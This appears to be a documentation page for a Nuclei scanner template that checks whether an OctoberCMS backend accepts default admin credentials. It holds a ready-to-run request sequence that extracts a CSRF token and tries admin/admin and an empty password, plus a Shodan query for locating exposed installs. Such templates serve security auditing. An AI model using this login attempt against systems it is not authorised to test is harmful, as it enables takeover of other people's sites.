OctoberCMS - Default Admin Discovery

ID: octobercms-default-login

Severity: high

Author: princechaddha

Tags: octobercms,default-login,oss

Description

OctoberCMS default admin credentials were discovered.

YAML Source

id: octobercms-default-login

info:
  name: OctoberCMS - Default Admin Discovery
  author: princechaddha
  severity: high
  description: OctoberCMS default admin credentials were discovered.
  reference:
    - https://github.com/octobercms/october
    - https://octobercms.com/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
    cvss-score: 8.3
    cwe-id: CWE-522
    cpe: cpe:2.3:a:octobercms:october:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 4
    shodan-query: http.component:"October CMS"
    product: october
    vendor: octobercms
  tags: octobercms,default-login,oss

http:
  - raw:
      - |
        GET /backend/backend/auth/signin HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}
      - |
        POST /backend/backend/auth/signin HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}
        Content-Type: application/x-www-form-urlencoded

        _token={{token}}&postback=1&login={{username}}&password={{password}}

    attack: clusterbomb
    payloads:
      username:
        - admin
      password:
        - admin
        - ""

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "october_session="
          - "admin_auth="
        condition: and

      - type: status
        status:
          - 302

    extractors:
      - type: regex
        part: body
        name: token
        internal: true
        group: 1
        regex:
          - 'meta name="csrf\-token" content="([A-Za-z0-9]+)">'
# digest: 4b0a00483046022100e49efe8bbb3d84602e0a7b7f66f5fc0cec94d6d94147bfd819979fabd645c609022100c2c2114eb296f6b6f41bb43ccba5845bec939077c07c51609f7499f5a80c364c:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/default-logins/octobercms/octobercms-default-login.yaml"

View on Github